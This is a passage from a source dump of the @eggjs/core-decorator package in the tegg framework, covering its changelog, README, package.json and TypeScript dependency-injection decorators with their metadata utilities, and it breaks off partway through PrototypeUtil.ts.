@eggjs/core-decorator\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n\n### Features\n\n* use SingletonProto for egg ctx object ([#92](https://github.com/eggjs/tegg/issues/92)) ([3385d57](https://github.com/eggjs/tegg/commit/3385d571b076d3148978f252188f29d9cf2c6781))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/core-decorator\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n\n### Features\n\n* allow inject proto and name ([#40](https://github.com/eggjs/tegg/issues/40)) ([abd1766](https://github.com/eggjs/tegg/commit/abd17665af2528c4c2e33f4c6b0fceddd8a4e76b))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n\n### Features\n\n* impl aop ([c53df00](https://github.com/eggjs/tegg/commit/c53df001d1455a0a105689694775d880541d9d2f))\n"
  },
  {
    "path": "tegg/core/core-decorator/README.md",
    "content": "# `@eggjs/core-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/core-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/core-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/core-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/core-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/core-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/core-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/core-decorator\n\n## Usage\n\nPlease read [@eggjs/tegg-plugin](../../plugin/tegg/README.md)\n"
  },
  {
    "path": "tegg/core/core-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/core-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg core decorator\",\n  \"keywords\": [\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/core-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/core-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/ConfigSource.ts",
    "content": "import { ConfigSourceQualifierAttribute } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { QualifierUtil } from '../util/index.ts';\n\nexport function ConfigSourceQualifier(moduleName: string) {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(\n      target as EggProtoImplClass,\n      propertyKey,\n      parameterIndex,\n      ConfigSourceQualifierAttribute,\n      moduleName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/ContextProto.ts",
    "content": "import { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\nimport type { ContextProtoParams } from '@eggjs/tegg-types';\n\nimport { Prototype, type PrototypeDecorator } from './Prototype.ts';\n\nexport function ContextProto(params?: ContextProtoParams): PrototypeDecorator {\n  return Prototype({\n    initType: ObjectInitType.CONTEXT,\n    accessLevel: params?.accessLevel || AccessLevel.PRIVATE,\n    ...params,\n  });\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/EggQualifier.ts",
    "content": "import { EggQualifierAttribute } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, EggType } from '@eggjs/tegg-types';\n\nimport { QualifierUtil } from '../util/index.ts';\n\nexport function EggQualifier(eggType: EggType) {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(\n      target as EggProtoImplClass,\n      propertyKey,\n      parameterIndex,\n      EggQualifierAttribute,\n      eggType,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/InitTypeQualifier.ts",
    "content": "import { InitTypeQualifierAttribute } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, ObjectInitTypeLike } from '@eggjs/tegg-types';\n\nimport { QualifierUtil } from '../util/index.ts';\n\nexport function InitTypeQualifier(initType: ObjectInitTypeLike) {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(\n      target as EggProtoImplClass,\n      propertyKey,\n      parameterIndex,\n      InitTypeQualifierAttribute,\n      initType,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/Inject.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { ObjectUtils } from '@eggjs/tegg-common-util';\nimport {\n  type EggProtoImplClass,\n  type InjectObjectInfo,\n  type InjectConstructorInfo,\n  type InjectParams,\n  InjectType,\n  InitTypeQualifierAttribute,\n} from '@eggjs/tegg-types';\n\nimport { PrototypeUtil, QualifierUtil } from '../util/index.ts';\n\nconst debug = debuglog('tegg/core/core-decorator/decorator/Inject');\n\nfunction guessInjectInfo(clazz: EggProtoImplClass, name: PropertyKey, proto: any) {\n  let objName: PropertyKey | undefined;\n  let initType: string | undefined;\n\n  if (typeof proto === 'function' && proto !== Object) {\n    // if property type is function and not Object( means maybe proto class ), then try to read EggPrototypeInfo.name as obj name\n    const info = PrototypeUtil.getProperty(proto as EggProtoImplClass);\n    objName = info?.name;\n    // try to read EggPrototypeInfo.initType as qualifier\n    if (info?.initType) {\n      const customInitType = QualifierUtil.getProperQualifier(clazz, name, InitTypeQualifierAttribute);\n      if (!customInitType) {\n        initType = info.initType;\n      }\n    }\n  }\n\n  return {\n    objName,\n    initType,\n  };\n}\n\nexport type InjectDecorator = (target: any, propertyKey?: PropertyKey, parameterIndex?: number) => void;\n\n/**\n * Inject decorator Factory\n * @param param - Inject parameters\n * @returns Inject decorator\n */\nexport function Inject(param?: InjectParams | string): InjectDecorator {\n  const injectParam = typeof param === 'string' ? { name: param } : param;\n\n  function propertyInject(target: any, propertyKey: PropertyKey) {\n    let objName: PropertyKey | undefined;\n    let initType: string | undefined;\n    if (!injectParam) {\n      // `@Inject() foo: FooService`\n      // try to read design:type from proto\n      const proto = PrototypeUtil.getDesignType(target, propertyKey);\n      const result = guessInjectInfo(target.constructor, propertyKey, proto);\n      objName = result.objName;\n      initType = result.initType;\n    } else {\n      // params allow string or object\n      objName = injectParam?.name;\n    }\n\n    const injectObject: InjectObjectInfo = {\n      refName: propertyKey,\n      objName: objName || propertyKey,\n    };\n\n    if (injectParam?.optional) {\n      injectObject.optional = true;\n    }\n\n    PrototypeUtil.setInjectType(target.constructor, InjectType.PROPERTY);\n    PrototypeUtil.addInjectObject(target.constructor as EggProtoImplClass, injectObject);\n    debug(\n      'propertyInject, clazz: %s, propertyKey: %s, injectObject: %o',\n      target.constructor.name,\n      propertyKey,\n      injectObject,\n    );\n    // console.trace();\n\n    if (initType) {\n      QualifierUtil.addProperQualifier(target.constructor, propertyKey, InitTypeQualifierAttribute, initType);\n    }\n  }\n\n  function constructorInject(target: any, parameterIndex: number) {\n    const argNames = ObjectUtils.getConstructorArgNameList(target);\n    const argName = argNames[parameterIndex];\n\n    let objName: PropertyKey | undefined;\n    let initType: string | undefined;\n\n    if (!injectParam) {\n      // try to read proto from design:paramtypes\n      const protos = PrototypeUtil.getDesignParamtypes(target);\n      ({ objName, initType } = guessInjectInfo(target, argName, protos?.[parameterIndex]));\n    } else {\n      // params allow string or object\n      objName = injectParam?.name;\n    }\n\n    const injectObject: InjectConstructorInfo = {\n      refIndex: parameterIndex,\n      refName: argName,\n      objName: objName || argName,\n    };\n\n    if (injectParam?.optional) {\n      injectObject.optional = true;\n    }\n\n    PrototypeUtil.setInjectType(target, InjectType.CONSTRUCTOR);\n    PrototypeUtil.addInjectConstructor(target as EggProtoImplClass, injectObject);\n\n    if (initType) {\n      QualifierUtil.addProperQualifier(target, argName, InitTypeQualifierAttribute, initType);\n    }\n  }\n\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    if (typeof parameterIndex === 'undefined') {\n      propertyInject(target, propertyKey!);\n    } else {\n      constructorInject(target, parameterIndex!);\n    }\n  };\n}\n\n/**\n * InjectOptional decorator Factory\n * @param param - InjectOptional parameters\n * @returns InjectOptional decorator\n */\nexport function InjectOptional(param?: Omit<InjectParams, 'optional'> | string): InjectDecorator {\n  const injectParam = typeof param === 'string' ? { name: param } : param;\n\n  return Inject({\n    ...injectParam,\n    optional: true,\n  });\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/ModuleQualifier.ts",
    "content": "import { LoadUnitNameQualifierAttribute } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { QualifierUtil } from '../util/index.ts';\n\nexport function ModuleQualifier(moduleName: string) {\n  return function (target: any, propertyKey?: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(\n      target as EggProtoImplClass,\n      propertyKey,\n      parameterIndex,\n      LoadUnitNameQualifierAttribute,\n      moduleName,\n    );\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/MultiInstanceInfo.ts",
    "content": "import type { QualifierAttribute } from '@eggjs/tegg-types';\n\nimport { PrototypeUtil } from '../util/index.ts';\n\nexport function MultiInstanceInfo(attributes: QualifierAttribute[]) {\n  return function (target: any, _propertyKey: PropertyKey | undefined, parameterIndex: number): void {\n    PrototypeUtil.setMultiInstanceConstructorIndex(target, parameterIndex);\n    PrototypeUtil.setMultiInstanceConstructorAttributes(target, attributes);\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/MultiInstanceProto.ts",
    "content": "import { NameUtil, StackUtil } from '@eggjs/tegg-common-util';\nimport { ObjectInitType, AccessLevel, DEFAULT_PROTO_IMPL_TYPE } from '@eggjs/tegg-types';\nimport type {\n  EggMultiInstanceCallbackPrototypeInfo,\n  EggMultiInstancePrototypeInfo,\n  EggProtoImplClass,\n  MultiInstancePrototypeParams,\n  MultiInstancePrototypeStaticParams,\n  MultiInstancePrototypeCallbackParams,\n} from '@eggjs/tegg-types';\n\nimport { PrototypeUtil } from '../util/index.ts';\n\nconst DEFAULT_PARAMS = {\n  initType: ObjectInitType.SINGLETON,\n  accessLevel: AccessLevel.PRIVATE,\n  protoImplType: DEFAULT_PROTO_IMPL_TYPE,\n};\n\nexport function MultiInstanceProto(param: MultiInstancePrototypeParams) {\n  return function (clazz: EggProtoImplClass): void {\n    PrototypeUtil.setIsEggMultiInstancePrototype(clazz);\n    if ((param as MultiInstancePrototypeStaticParams).objects) {\n      const property: EggMultiInstancePrototypeInfo = {\n        ...DEFAULT_PARAMS,\n        ...(param as MultiInstancePrototypeStaticParams),\n        className: NameUtil.cleanName(clazz.name),\n      };\n      PrototypeUtil.setMultiInstanceStaticProperty(clazz, property);\n    } else if ((param as MultiInstancePrototypeCallbackParams).getObjects) {\n      const property: EggMultiInstanceCallbackPrototypeInfo = {\n        ...DEFAULT_PARAMS,\n        ...(param as MultiInstancePrototypeCallbackParams),\n        className: NameUtil.cleanName(clazz.name),\n      };\n      PrototypeUtil.setMultiInstanceCallbackProperty(clazz, property);\n    }\n\n    // './tegg/core/common-util/src/StackUtil.ts',\n    // './tegg/core/core-decorator/src/decorator/Prototype.ts',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/core-decorator/test/fixtures/decators/CacheService.ts',\n    PrototypeUtil.setFilePath(clazz, StackUtil.getCalleeFromStack(false, 4));\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/Prototype.ts",
    "content": "import { NameUtil, StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel, DEFAULT_PROTO_IMPL_TYPE, ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, EggPrototypeInfo, PrototypeParams } from '@eggjs/tegg-types';\n\nimport { PrototypeUtil } from '../util/index.ts';\n\nconst DEFAULT_PARAMS = {\n  initType: ObjectInitType.SINGLETON,\n  accessLevel: AccessLevel.PRIVATE,\n  protoImplType: DEFAULT_PROTO_IMPL_TYPE,\n};\n\nexport type PrototypeDecorator = (clazz: EggProtoImplClass) => void;\n\n/**\n * Prototype decorator Factory\n * @param param - Prototype parameters\n * @returns Prototype decorator\n */\nexport function Prototype(param?: PrototypeParams): PrototypeDecorator {\n  return function (clazz: EggProtoImplClass): void {\n    PrototypeUtil.setIsEggPrototype(clazz);\n    const property: Partial<EggPrototypeInfo> = {\n      ...DEFAULT_PARAMS,\n      ...param,\n      className: NameUtil.cleanName(clazz.name),\n    };\n    if (!property.name) {\n      property.name = NameUtil.getClassName(clazz);\n    }\n    PrototypeUtil.setProperty(clazz, property as EggPrototypeInfo);\n\n    // './tegg/core/common-util/src/StackUtil.ts',\n    // './tegg/core/core-decorator/src/decorator/Prototype.ts',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/core-decorator/node_modules/_reflect-metadata@0.1.13@reflect-metadata/Reflect.js',\n    // './tegg/core/core-decorator/test/fixtures/decators/CacheService.ts',\n    PrototypeUtil.setFilePath(clazz, StackUtil.getCalleeFromStack(false, 4));\n  };\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/SingletonProto.ts",
    "content": "import { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\nimport type { SingletonProtoParams } from '@eggjs/tegg-types';\n\nimport { Prototype, type PrototypeDecorator } from './Prototype.ts';\n\nexport function SingletonProto(params?: SingletonProtoParams): PrototypeDecorator {\n  return Prototype({\n    initType: ObjectInitType.SINGLETON,\n    accessLevel: params?.accessLevel || AccessLevel.PRIVATE,\n    ...params,\n  });\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/decorator/index.ts",
    "content": "export * from './ConfigSource.ts';\nexport * from './ContextProto.ts';\nexport * from './EggQualifier.ts';\nexport * from './InitTypeQualifier.ts';\nexport * from './Inject.ts';\nexport * from './ModuleQualifier.ts';\nexport * from './MultiInstanceInfo.ts';\nexport * from './MultiInstanceProto.ts';\nexport * from './Prototype.ts';\nexport * from './SingletonProto.ts';\n"
  },
  {
    "path": "tegg/core/core-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/core-decorator';\n\nexport * from './decorator/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/core-decorator/src/util/MetadataUtil.ts",
    "content": "import type { EggProtoImplClass, MetaDataKey } from '@eggjs/tegg-types';\n\nexport class MetadataUtil {\n  static deleteMetaData(metadataKey: MetaDataKey, clazz: EggProtoImplClass): void {\n    Reflect.deleteMetadata(metadataKey, clazz);\n  }\n\n  static defineMetaData<T>(metadataKey: MetaDataKey, metadataValue: T, clazz: EggProtoImplClass): void {\n    Reflect.defineMetadata(metadataKey, metadataValue, clazz);\n  }\n\n  static getOwnMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass): T | undefined {\n    return Reflect.getOwnMetadata(metadataKey, clazz);\n  }\n\n  static hasMetaData(metadataKey: MetaDataKey, clazz: EggProtoImplClass, propKey?: PropertyKey): boolean {\n    return Reflect.hasMetadata(metadataKey, clazz, propKey as string);\n  }\n\n  static getMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass, propKey?: PropertyKey): T | undefined {\n    return Reflect.getMetadata(metadataKey, clazz, propKey as string);\n  }\n\n  static getBooleanMetaData(metadataKey: MetaDataKey, clazz: EggProtoImplClass): boolean {\n    return !!this.getMetaData(metadataKey, clazz);\n  }\n\n  static getOwnBooleanMetaData(metadataKey: MetaDataKey, clazz: EggProtoImplClass): boolean {\n    return !!this.getOwnMetaData(metadataKey, clazz);\n  }\n\n  static getArrayMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass): Array<T> {\n    return this.getMetaData(metadataKey, clazz) || [];\n  }\n\n  /**\n   * init array metadata\n   * not inherit parent metadata\n   * return value true means use default value\n   * return value false means use map value\n   */\n  static initArrayMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass, defaultValue: Array<T>): Array<T> {\n    const ownMetaData: Array<T> | undefined = this.getOwnMetaData(metadataKey, clazz);\n    if (!ownMetaData) {\n      this.defineMetaData(metadataKey, defaultValue, clazz);\n    }\n    return this.getOwnMetaData<Array<T>>(metadataKey, clazz)!;\n  }\n\n  /**\n   * init own array metadata\n   * if parent metadata exists, inherit\n   * if parent metadata not exits, use default value\n   * return value true means use default value\n   * return value false means use map value\n   */\n  static initOwnArrayMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass, defaultValue: Array<T>): Array<T> {\n    const ownMetaData: Array<T> | undefined = this.getOwnMetaData(metadataKey, clazz);\n    if (!ownMetaData) {\n      const parentValue: Array<T> | undefined = this.getMetaData(metadataKey, clazz);\n      const ownDefaultValue = parentValue || defaultValue;\n      const selfValue = ownDefaultValue.slice();\n      this.defineMetaData(metadataKey, selfValue, clazz);\n    }\n    return this.getOwnMetaData<Array<T>>(metadataKey, clazz)!;\n  }\n\n  /**\n   * init own map metadata\n   * if parent metadata exists, inherit\n   * if parent metadata not exits, use default value\n   * return value true means use default value\n   * return value false means use map value\n   */\n  static initOwnMapMetaData<K, V>(\n    metadataKey: MetaDataKey,\n    clazz: EggProtoImplClass,\n    defaultValue: Map<K, V>,\n  ): Map<K, V> {\n    const ownMetaData: Map<K, V> | undefined = this.getOwnMetaData(metadataKey, clazz);\n    if (!ownMetaData) {\n      const parentValue: Map<K, V> | undefined = this.getMetaData(metadataKey, clazz);\n      const selfValue = new Map<K, V>();\n      const ownDefaultValue = parentValue || defaultValue;\n      for (const [k, v] of ownDefaultValue) {\n        selfValue.set(k, v);\n      }\n      this.defineMetaData(metadataKey, selfValue, clazz);\n    }\n    return this.getOwnMetaData<Map<K, V>>(metadataKey, clazz)!;\n  }\n\n  static getOrStoreMetaData<T>(metadataKey: MetaDataKey, clazz: EggProtoImplClass, metadataValue: T): T {\n    if (!Reflect.hasMetadata(metadataKey, clazz)) {\n      Reflect.defineMetadata(metadataKey, metadataValue, clazz);\n    }\n    return Reflect.getMetadata(metadataKey, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/src/util/PrototypeUtil.ts",
    "content": "import {\n  type EggMultiInstanceCallbackPrototypeInfo,\n  type EggMultiInstancePrototypeInfo,\n  type EggProtoImplClass,\n  type EggPrototypeInfo,\n  type EggPrototypeName,\n  InitTypeQualifierAttribute,\n  type InjectConstructorInfo,\n  type InjectObjectInfo,\n  InjectType,\n  LoadUnitNameQualifierAttribute,\n  type MultiInstancePrototypeGetObjectsContext,\n  MultiInstanceType,\n  type QualifierAttribute,\n} from '@eggjs/tegg-types';\n\nimport { MetadataUtil } from './MetadataUtil.ts';\n\nexport class PrototypeUtil {\n  static readonly IS_EGG_OBJECT_PROTOTYPE: symbol = Symbol.for('EggPrototype#isEggPrototype');\n  static readonly IS_EGG_OBJECT_MULTI_INSTANCE_PROTOTYPE: symbol = Symbol.for(\n    'EggPrototype#isEggMultiInstancePrototype',\n  );\n  static readonly FILE_PATH: symbol = Symbol.for('EggPrototype.filePath');\n  static readonly PROTOTYPE_PROPERTY: symbol = Symbol.for('EggPrototype.Property');\n  static readonly MULTI_INSTANCE_PROTOTYPE_STATIC_PROPERTY: symbol = Symbol.for(\n    'EggPrototype.MultiInstanceStaticProperty',\n  );\n  static readonly MULTI_INSTANCE_PROTOTYPE_CALLBACK_PROPERTY: symbol = Symbol.for(\n    'EggPrototype.MultiInstanceCallbackProperty',\n  );\n  static readonly INJECT_OBJECT_NAME_SET: symbol = Symbol.for('EggPrototype.injectObjectNames');\n  static readonly INJECT_TYPE: symbol = Symbol.for('EggPrototype.injectType');\n  static readonly INJECT_CONSTRUCTOR_NAME_SET: symbol = Symbol.for('EggPrototype.injectConstructorNames');\n  static readonly CLAZZ_PROTO: symbol = Symbol.for('EggPrototype.clazzProto');\n  static readonly MULTI_INSTANCE_CONSTRUCTOR_INDEX: symbol = Symbol.for('EggPrototype#multiInstanceConstructorIndex');\n  static readonly MULTI_INSTANCE_CONSTRUCTOR_ATTRIBUTES: symbol = Symbol.for(\n    'EggPrototype#multiInstanceConstructorAttributes',\n  );\n\n  /**\n   * Mark class is egg object prototype\n   * @param {Function} clazz -\n   */\n  static setIsEggPrototype(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.IS_EGG_OBJECT_PROTOTYPE, true, clazz);\n  }\n\n  /**\n   * If class is egg object prototype, return true\n   * @param {Function} clazz -\n   */\n  static isEggPrototype(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getOwnBooleanMetaData(PrototypeUtil.IS_EGG_OBJECT_PROTOTYPE, clazz);\n  }\n\n  /**\n   * Mark class is egg object multi instance prototype\n   * @param {Function} clazz -\n   */\n  static setIsEggMultiInstancePrototype(clazz: EggProtoImplClass): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.IS_EGG_OBJECT_MULTI_INSTANCE_PROTOTYPE, true, clazz);\n  }\n\n  /**\n   * If class is egg object multi instance prototype, return true\n   * @param {Function} clazz -\n   */\n  static isEggMultiInstancePrototype(clazz: EggProtoImplClass): boolean {\n    return MetadataUtil.getOwnBooleanMetaData(PrototypeUtil.IS_EGG_OBJECT_MULTI_INSTANCE_PROTOTYPE, clazz);\n  }\n\n  /**\n   * Get the type of the egg multi-instance prototype.\n   * @param {Function} clazz -\n   */\n  static getEggMultiInstancePrototypeType(clazz: EggProtoImplClass): MultiInstanceType | undefined {\n    if (!PrototypeUtil.isEggMultiInstancePrototype(clazz)) {\n      return;\n    }\n    const metadata = MetadataUtil.getOwnMetaData<EggMultiInstancePrototypeInfo>(\n      PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_STATIC_PROPERTY,\n      clazz,\n    );\n    if (metadata) {\n      return MultiInstanceType.STATIC;\n    }\n    return MultiInstanceType.DYNAMIC;\n  }\n\n  /**\n   * set class file path\n   * @param {Function} clazz -\n   * @param {string} filePath -\n   */\n  static setFilePath(clazz: EggProtoImplClass, filePath: string): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.FILE_PATH, filePath, clazz);\n  }\n\n  /**\n   * get class file path\n   * @param {Function} clazz -\n   */\n  static getFilePath(clazz: EggProtoImplClass): string | undefined {\n    return MetadataUtil.getOwnMetaData(PrototypeUtil.FILE_PATH, clazz);\n  }\n\n  /**\n   * set class property\n   * @param {EggProtoImplClass} clazz -\n   * @param {EggPrototypeInfo} property -\n   */\n  static setProperty(clazz: EggProtoImplClass, property: EggPrototypeInfo): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.PROTOTYPE_PROPERTY, property, clazz);\n  }\n\n  /**\n   * get class property\n   * @param {EggProtoImplClass} clazz -\n   * @return {EggPrototypeInfo} -\n   */\n  static getProperty(clazz: EggProtoImplClass): EggPrototypeInfo | undefined {\n    return MetadataUtil.getOwnMetaData(PrototypeUtil.PROTOTYPE_PROPERTY, clazz);\n  }\n\n  static async getInitType(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): Promise<string | undefined> {\n    const property = PrototypeUtil.getProperty(clazz) ?? (await PrototypeUtil.getMultiInstanceProperty(clazz, ctx));\n    return property?.initType;\n  }\n\n  static async getAccessLevel(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): Promise<string | undefined> {\n    const property = PrototypeUtil.getProperty(clazz) ?? (await PrototypeUtil.getMultiInstanceProperty(clazz, ctx));\n    return property?.accessLevel;\n  }\n\n  static async getObjNames(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): Promise<EggPrototypeName[]> {\n    const property = PrototypeUtil.getProperty(clazz);\n    if (property) {\n      return [property.name];\n    }\n    const multiInstanceProperty = await PrototypeUtil.getMultiInstanceProperty(clazz, ctx);\n    return multiInstanceProperty?.objects.map((t) => t.name) || [];\n  }\n\n  /**\n   * set class property\n   * @param {EggProtoImplClass} clazz -\n   * @param {EggPrototypeInfo} property -\n   */\n  static setMultiInstanceStaticProperty(clazz: EggProtoImplClass, property: EggMultiInstancePrototypeInfo): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_STATIC_PROPERTY, property, clazz);\n  }\n\n  /**\n   * set class property\n   * @param {EggProtoImplClass} clazz -\n   * @param {EggPrototypeInfo} property -\n   */\n  static setMultiInstanceCallbackProperty(\n    clazz: EggProtoImplClass,\n    property: EggMultiInstanceCallbackPrototypeInfo,\n  ): void {\n    MetadataUtil.defineMetaData(PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_CALLBACK_PROPERTY, property, clazz);\n  }\n\n  /**\n   * Get instance property of Static multi-instance prototype.\n   * @param {EggProtoImplClass} clazz -\n   */\n  static getStaticMultiInstanceProperty(clazz: EggProtoImplClass): EggMultiInstancePrototypeInfo | undefined {\n    const metadata = MetadataUtil.getOwnMetaData<EggMultiInstancePrototypeInfo>(\n      PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_STATIC_PROPERTY,\n      clazz,\n    );\n    if (metadata) {\n      return metadata;\n    }\n  }\n\n  /**\n   * Get instance property of Dynamic multi-instance prototype.\n   * @param {EggProtoImplClass} clazz -\n   * @param {MultiInstancePrototypeGetObjectsContext} ctx -\n   */\n  static async getDynamicMultiInstanceProperty(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): Promise<EggMultiInstancePrototypeInfo | undefined> {\n    const callBackMetadata = MetadataUtil.getOwnMetaData<EggMultiInstanceCallbackPrototypeInfo>(\n      PrototypeUtil.MULTI_INSTANCE_PROTOTYPE_CALLBACK_PROPERTY,\n      clazz,\n    );\n    if (callBackMetadata) {\n      const objects = await callBackMetadata.getObjects(ctx);\n      return {\n        ...callBackMetadata,\n        objects,\n      };\n    }\n  }\n\n  /**\n   * get class property\n   * @param {EggProtoImplClass} clazz -\n   * @param {MultiInstancePrototypeGetObjectsContext} ctx -\n   */\n  static async getMultiInstanceProperty(\n    clazz: EggProtoImplClass,\n    ctx: MultiInstancePrototypeGetObjectsContext,\n  ): Promise<EggMultiInstancePrototypeInfo | undefined> {\n    const metadata = MetadataUtil.getOwnMetaData<EggMultiInstancePrototypeInfo>(\n      